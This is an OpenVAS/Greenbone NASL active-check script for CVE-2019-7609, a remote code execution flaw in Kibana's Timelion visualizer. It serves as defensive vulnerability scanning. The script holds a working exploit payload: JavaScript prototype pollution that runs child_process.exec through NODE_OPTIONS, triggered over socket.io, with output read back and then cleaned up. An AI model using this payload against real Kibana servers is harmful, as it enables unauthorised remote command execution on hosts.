Kibana contains an arbitrary code execution flaw in the Timelion visualizer.
# Copyright (C) 2019 Greenbone Networks GmbH
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
CPE = "cpe:/a:elasticsearch:kibana";
if (description)
{
script_oid("1.3.6.1.4.1.25623.1.0.143092");
script_version("2020-04-09T12:09:29+0000");
script_tag(name:"last_modification", value:"2020-04-09 12:09:29 +0000 (Thu, 09 Apr 2020)");
script_tag(name:"creation_date", value:"2019-11-06 03:31:33 +0000 (Wed, 06 Nov 2019)");
script_tag(name:"cvss_base", value:"10.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_cve_id("CVE-2019-7609");
script_tag(name:"qod_type", value:"exploit");
script_tag(name:"solution_type", value:"VendorFix");
script_name("Elastic Kibana < 5.6.15, 6.x.x < 6.6.1 RCE Vulnerability (Active Check)");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2019 Greenbone Networks GmbH");
script_family("Web application abuses");
script_dependencies("gb_elasticsearch_kibana_detect.nasl", "os_detection.nasl");
script_mandatory_keys("Elasticsearch/Kibana/Installed");
script_require_ports("Services/www", 5601);
script_tag(name:"summary", value:"Kibana contains an arbitrary code execution flaw in the Timelion visualizer.");
script_tag(name:"vuldetect", value:"Sends multiple crafted HTTP requests and checks the response.");
script_tag(name:"insight", value:"An attacker with access to the Timelion application could send a request that
will attempt to execute javascript code. This could possibly lead to an attacker executing arbitrary commands
with permissions of the Kibana process on the host system.");
script_tag(name:"affected", value:"Kibana versions before 5.6.15 and 6.0.0 before 6.6.1.");
script_tag(name:"solution", value:"Update to version 5.6.15, 6.6.1 or later.");
script_xref(name:"URL", value:"https://discuss.elastic.co/t/elastic-stack-6-6-1-and-5-6-15-security-update/169077");
script_xref(name:"URL", value:"https://github.com/LandGrey/CVE-2019-7609/");
exit(0);
}
include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
if (!port = get_app_port(cpe: CPE, service: "www"))
exit(0);
if (!dir = get_app_location(cpe: CPE, port: port))
exit(0);
if (dir == "/")
dir = "";
vt_strings = get_vt_strings();
file = vt_strings["lowercase_rand"] + ".txt";
xsrf_str = vt_strings["default"];
url = dir + "/api/timelion/run";
headers = make_array("Content-Type", "application/json",
"kbn-xsrf", xsrf_str);
cmds = exploit_commands();
foreach cmd (keys(cmds)) {
data = '{"sheet":[".es(*).props(label.__proto__.env.AAAA=\'require(\\"child_process\\").exec(\\"' +
cmds[cmd] + ' > src/ui/public/assets/favicons/' + file +
'\\");process.exit()//\').props(label.__proto__.env.NODE_OPTIONS=\'--require /proc/self/environ\')"]' +
',"time":{"from":"now-15m","to":"now","mode":"quick","interval":"auto"}}';
req = http_post_put_req(port: port, url: url, data: data, add_headers: headers);
res = http_keepalive_send_recv(port: port, data: req);
if (res !~ "^HTTP/1\.[01] 200")
continue;
trigger = dir + "/socket.io/?EIO=3&transport=polling&t=MtjhZoM";
req = http_get_req(port: port, url: trigger, add_headers: headers);
res = http_keepalive_send_recv(port: port, data: req);
sleep(5);
check_url = dir + "/ui/favicons/" + file;
req = http_get(port: port, item: check_url);
res = http_keepalive_send_recv(port: port, data: req, bodyonly: TRUE);
if (egrep(pattern: cmd, string: res)) {
report = 'It was possible to execute the "' + cmds[cmd] + '" command.\n\nResult:\n\n' + res;
security_message(port: port, data: report);
# Cleanup
if (cmd == "ipconfig")
delete = "del";
else
delete = "rm";
data = '{"sheet":[".es(*).props(label.__proto__.env.AAAA=\'require(\\"child_process\\").exec(\\"' +
delete + ' src/ui/public/assets/favicons/' + file +
'\\");process.exit()//\').props(label.__proto__.env.NODE_OPTIONS=\'--require /proc/self/environ\')"]' +
',"time":{"from":"now-15m","to":"now","mode":"quick","interval":"auto"}}';
req = http_post_put_req(port: port, url: url, data: data, add_headers: headers);
res = http_keepalive_send_recv(port: port, data: req);
req = http_get_req(port: port, url: trigger, add_headers: headers);
res = http_keepalive_send_recv(port: port, data: req);
exit(0);
}
}
exit(0);